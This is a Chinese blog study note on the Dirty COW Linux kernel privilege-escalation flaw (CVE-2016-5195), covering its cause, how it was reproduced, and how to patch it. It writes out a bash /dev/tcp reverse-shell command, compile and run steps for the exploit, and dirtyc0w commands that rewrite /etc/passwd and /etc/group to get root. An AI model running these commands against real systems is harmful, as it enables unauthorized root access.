Dirty COW的那些事

本文又是一次笔记回顾,将doc的笔记用markdown写一遍,回顾一下23333333

简介

漏洞编号:CVE-2016-5195

漏洞名称:脏牛(Dirty COW)

漏洞危害:低权限用户利用该漏洞技术可以在全版本 Linux 系统上实现本地提权

影响范围:Linux 内核2.6.22 < 3.9 (x86/x64)

原理:
Linux 内核的内存子系统在处理写入时复制(copy-on-write, COW)时产生了竞争条件(race
condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。(A race condition was found in the way the Linux kernel’s memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings.) 竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,可以获得 root 权限。
***利用:exp

复现与总结

在本地部署一个漏洞环境,使用web服务器上的大马反弹 shell后利用dirty cow 进行提权
反弹shell:

1
2
nc -l -p 22222 -vv 
bash -i >& /dev/tcp/ip/port 0>&1

查看版本:
cat /proc/version、uname -a、lsb release -a均可

编译:
gcc -pthread exp.c -o exp -lcrypt

执行./exp 即可为用户firefart 设置密码

q-17

然后即可用添加的用户连接主机

q-18

除此之外,还可以用下面一些方式进行提权(学习自互联网)
1)在/tmp/.pwn写入

1
2
3
#!/bin/bash
echo MOOOOOOOOOOO
/bin/bash

chmod+x/tmp/.pwn
然后修改/etc/passwd中的shell指向
./dirtyc0w /etc/passwd root:x:0:0:root:/root:/tmp/.pwn

2)添加用户到sudo组

./dirtyc0w /etc/group "$(sed's/\(sudo:x:.*:\)/\1test1/g'/etc/group)"

下次管理员再登陆的话 sudo su不需要密码

3)将/etc/passwd中的uid位改为0

4)注入shellcode到suid文件,比如最常见的2个文件
/usr/bin/crontab
/usr/bin/passwd

修复方案:

Centos/RHEL更新
sudo yum update

Ubuntu/Debian更新
sudo apt-get update && sudo apt-get dist-upgrade

更新到最新的内核版本即可。需要重启才能生效

-------------本文结束感谢您的阅读-------------
  • Post author: SuNu11
  • Post link: http://sunu11.com/2017/08/28/15/
  • Copyright Notice: All articles in this blog are licensed under BY-NC-SA unless stating additionally.